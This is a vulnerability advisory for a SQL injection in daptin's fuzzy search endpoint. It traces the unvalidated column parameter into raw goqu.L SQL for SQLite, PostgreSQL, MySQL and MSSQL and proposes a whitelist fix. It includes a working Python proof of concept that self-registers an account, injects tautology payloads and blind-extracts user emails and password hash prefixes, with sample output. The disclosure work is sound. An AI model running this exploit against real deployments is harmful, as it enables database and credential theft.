PostgreSQL CVE-2026-44349

Summary

processFuzzySearch in server/resource/resource_findallpaginated.go:1484 splits the user-supplied column parameter by comma and interpolates each segment directly into goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col)) raw SQL with no column whitelist check. The entry point is GET /api/<entity> with operator=fuzzy (or fuzzy_any, fuzzy_all). Any authenticated user - including one who self-registered with no admin involvement - can read the entire database.

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Details

At resource_findallpaginated.go:1761, when the operator is fuzzy, fuzzy_any, or fuzzy_all, execution routes to processFuzzySearch (line 1763) before processQueryFilter (line 1780). processQueryFilter is the only path that calls GetColumnByName (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.

Inside processFuzzySearch (line 1484), filterQuery.ColumnName is split by comma. After strings.TrimSpace (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the fuzzy_options.fallback_mode field.

SQLite (processFuzzySearchSQLite, lines 1632-1676) uses goqu.L in all code paths - no fallback_mode required:

• goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...) - line 1650/1657

PostgreSQL, MySQL, MSSQL default to goqu.Ex (identifier-quoted, not injectable). The goqu.L sink is only reached when the attacker supplies a specific fuzzy_options.fallback_mode value in the HTTP query JSON:

• PostgreSQL word_boundary mode (line 1540): goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)
• MySQL soundex mode (line 1598): goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)
• MSSQL soundex mode (line 1694): goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)

fuzzy_options is deserialized from the HTTP request at line 243 (json.Unmarshal([]byte(query[0]), &queries)) - it is fully attacker-controlled.

goqu.L emits its first argument as a raw SQL literal. The column position uses %s string formatting, not a bound parameter.

prefix is fixed at line 351 as dbResource.model.GetName() + "." - for /api/world this is "world.". Against SQLite, an attacker-supplied column value of reference_id) OR 1=1 OR LOWER(world.reference_id expands in the WHERE clause to LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?. Against PostgreSQL (where reference_id is stored as bytea), the ~* regex operator requires a text-type column; the attack targets a varchar column instead (e.g., table_name) with an adapted injection template.

Relation to GHSA-rw2c-8rfq-gwfv: That patch modified resource_aggregate.go to fix /aggregate/:typename. This vulnerability is in resource_findallpaginated.go on the /api/<entity> fuzzy path - different file, different endpoint, different operator. The existing patch does not cover this path.

Tested: SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL word_boundary injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=guest@cms.go extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.

Fix: Add a GetColumnByName whitelist check in processFuzzySearch (line 1484) before the comma-split, matching the pattern in processQueryFilter:1351. All four DB driver sinks require fixing.

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PoC

Environment:

git clone https://github.com/daptin/daptin
cd daptin
git checkout 5d3214244890989eceefa694bfc976ef11458721
go build -o daptin-server .
./daptin-server
# listens on :6336, SQLite backend by default

poc.py (Python 3, no dependencies):

import json, urllib.request, urllib.parse

BASE = "http://localhost:6336"

def post(path, body):
    req = urllib.request.Request(BASE + path, json.dumps(body).encode(),
                                 {"Content-Type": "application/json"})
    try:
        return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    except urllib.request.HTTPError as e:
        return json.loads(e.read(50_000))

def token():
    post("/action/user_account/signup", {"attributes": {
        "name": "poc", "email": "poc@test.com",
        "password": "adminadmin", "passwordConfirm": "adminadmin"}})
    body = post("/action/user_account/signin", {"attributes": {
        "email": "poc@test.com", "password": "adminadmin"}})
    return next(i["Attributes"]["value"] for i in body
                if i.get("ResponseType") == "client.store.set")

def rows(col, jwt):
    q = urllib.parse.urlencode({"query": json.dumps(
        [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
    req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
                                 headers={"Authorization": "Bearer " + jwt})
    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    return len(d.get("data", []))

def oracle(expr, jwt):
    col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
    return rows(col, jwt) > 0

def extract_int(sql, jwt, hi=200):
    lo = 0
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if oracle(f"({sql}) >= {mid}", jwt): lo = mid
        else: hi = mid - 1
    return lo

def extract_str(sql, jwt, maxlen=80):
    n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen)
    s = ""
    for _ in range(n):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            pfx = s.replace("'", "''")
            expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})"
            if oracle(expr, jwt): lo = mid + 1
            else: hi = mid
        s += chr(lo)
    return s

jwt = token()
print("baseline :", rows("reference_id", jwt), "rows")
print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows")

jwt = token()
print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80))
print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt))
pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40)
print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace"))

Output (measured on commit 5d32142, SQLite, macOS arm64):

baseline : 0 rows
tautology: 5 rows
sqlite_master table count: 57
email (row 1): guest@cms.go
pw hash prefix: $2a$11$W7vO9oOPzpf7u

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Impact

Attacker precondition: One valid JWT. Self-signup is enabled by default on a fresh daptin instance - no admin involvement required.

What is impacted: The full database is readable via boolean-blind extraction, including all tables visible in sqlite_master and credential data (emails, bcrypt password hashes) in user_account. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.